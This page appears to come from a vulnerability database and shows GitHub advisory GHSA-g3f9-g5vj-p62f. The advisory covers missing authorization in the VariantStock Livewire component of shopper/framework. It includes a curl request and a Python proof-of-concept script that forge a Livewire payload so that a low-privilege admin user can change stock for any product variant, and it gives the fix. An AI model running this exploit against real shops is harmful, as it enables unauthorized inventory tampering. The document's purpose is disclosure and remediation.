GHSA-G3F9-G5VJ-P62F
Vulnerability from github – Published: 2026-09-11 21:29 – Updated: 2026-09-11 21:29Title
Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component
Description
A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
// Line 34 - unprotected, client-mutable variant binding
public $variant;
// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
return Action::make('stock')
->label(__('shopper::forms.actions.update'))
->color('gray')
->icon(Untitledui::Package)
->modalHeading(__('shopper::pages/products.modals.variants.title'))
->modalWidth(Width::Large)
->schema([
Select::make('inventory')
->label(__('shopper::pages/products.inventory_name'))
->options(Inventory::query()->pluck('name', 'id'))
->native(false)
->required(),
TextInput::make('quantity')
->label(__('shopper::forms.label.quantity'))
->placeholder('-10 or -5 or 50, etc')
->numeric()
->required(),
])
->action(function (array $data): void {
// ...calls $this->variant->mutateStock(...) or decreaseStock(...)
// with no permission check anywhere in this path
});
}
Steps to reproduce
Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.
# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.
SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.
# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "$XSRF" \
-H "Cookie: $SESSION" \
-d '{
"components": [{
"snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
"updates": {},
"calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
}]
}'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.
Proof of concept
#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE value of the laravel_session cookie
XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT_ID Livewire component snapshot ID (from page source)
VARIANT_ID integer ID of any target variant
INVENTORY_ID integer ID of the target inventory location
QUANTITY integer quantity adjustment (positive or negative)
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
component_id = os.environ['COMPONENT_ID']
variant_id = int(os.environ['VARIANT_ID'])
inventory_id = int(os.environ['INVENTORY_ID'])
quantity = int(os.environ['QUANTITY'])
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component_id,
'data': {'variant': variant_id},
'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callAction',
'params': ['stock', {
'inventory': inventory_id,
'quantity': quantity,
}]
}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.
Suggested fix
// packages/admin/src/Livewire/Components/Products/VariantStock.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution
public $variant;
public function stockAction(): Action
{
return Action::make('stock')
->authorize('edit_product_variants') // add this
// ... rest of the action
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopper/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56829"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T21:29:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Title\n\nUnauthorized inventory stock manipulation via unlocked variant property in VariantStock component\n\n## Description\n\nA lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `-\u003eauthorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91`\n\n```php\n// Line 34 - unprotected, client-mutable variant binding\npublic $variant;\n\n// Lines 36-91 - no -\u003eauthorize(...) on the Action\npublic function stockAction(): Action\n{\n return Action::make(\u0027stock\u0027)\n -\u003elabel(__(\u0027shopper::forms.actions.update\u0027))\n -\u003ecolor(\u0027gray\u0027)\n -\u003eicon(Untitledui::Package)\n -\u003emodalHeading(__(\u0027shopper::pages/products.modals.variants.title\u0027))\n -\u003emodalWidth(Width::Large)\n -\u003eschema([\n Select::make(\u0027inventory\u0027)\n -\u003elabel(__(\u0027shopper::pages/products.inventory_name\u0027))\n -\u003eoptions(Inventory::query()-\u003epluck(\u0027name\u0027, \u0027id\u0027))\n -\u003enative(false)\n -\u003erequired(),\n TextInput::make(\u0027quantity\u0027)\n -\u003elabel(__(\u0027shopper::forms.label.quantity\u0027))\n -\u003eplaceholder(\u0027-10 or -5 or 50, etc\u0027)\n -\u003enumeric()\n -\u003erequired(),\n ])\n -\u003eaction(function (array $data): void {\n // ...calls $this-\u003evariant-\u003emutateStock(...) or decreaseStock(...)\n // with no permission check anywhere in this path\n });\n}\n```\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required.\n\n```bash\n# Step 1: Log in and obtain a session cookie and Livewire CSRF token.\n# Obtain them from a normal browser login, then use them below.\n\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 2: Load the product variant page for any variant ID (e.g., 1).\n# Capture the Livewire snapshot from the page source.\n\n# Step 3: Call the stock action on an arbitrary variant.\n# The wire payload sets \"component.variant\" to any variant ID in the database.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n -H \"Content-Type: application/json\" \\\n -H \"$XSRF\" \\\n -H \"Cookie: $SESSION\" \\\n -d \u0027{\n \"components\": [{\n \"snapshot\": \"{\\\"id\\\":\\\"VARIANT_STOCK_COMPONENT_ID\\\",\\\"data\\\":{\\\"variant\\\":42},\\\"checksum\\\":\\\"...\\\"}\",\n \"updates\": {},\n \"calls\": [{\"path\":\"\",\"method\":\"callAction\",\"params\":[\"stock\",{\"inventory\":1,\"quantity\":999}]}]\n }]\n }\u0027\n# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVariantStock authorization bypass PoC.\n\nSet these environment variables before running:\n BASE_URL e.g. http://localhost\n SESSION_COOKIE value of the laravel_session cookie\n XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie\n COMPONENT_ID Livewire component snapshot ID (from page source)\n VARIANT_ID integer ID of any target variant\n INVENTORY_ID integer ID of the target inventory location\n QUANTITY integer quantity adjustment (positive or negative)\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ[\u0027BASE_URL\u0027]\nsession = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id = os.environ[\u0027COMPONENT_ID\u0027]\nvariant_id = int(os.environ[\u0027VARIANT_ID\u0027])\ninventory_id = int(os.environ[\u0027INVENTORY_ID\u0027])\nquantity = int(os.environ[\u0027QUANTITY\u0027])\n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n \u0027X-XSRF-TOKEN\u0027: xsrf,\n \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n \u0027id\u0027: component_id,\n \u0027data\u0027: {\u0027variant\u0027: variant_id},\n \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n \u0027components\u0027: [{\n \u0027snapshot\u0027: snapshot,\n \u0027updates\u0027: {},\n \u0027calls\u0027: [{\n \u0027path\u0027: \u0027\u0027,\n \u0027method\u0027: \u0027callAction\u0027,\n \u0027params\u0027: [\u0027stock\u0027, {\n \u0027inventory\u0027: inventory_id,\n \u0027quantity\u0027: quantity,\n }]\n }]\n }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nAny authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/VariantStock.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked] // prevent client-side ID substitution\npublic $variant;\n\npublic function stockAction(): Action\n{\n return Action::make(\u0027stock\u0027)\n -\u003eauthorize(\u0027edit_product_variants\u0027) // add this\n // ... rest of the action\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-g3f9-g5vj-p62f",
"modified": "2026-09-11T21:29:20Z",
"published": "2026-09-11T21:29:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopperlabs/shopper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.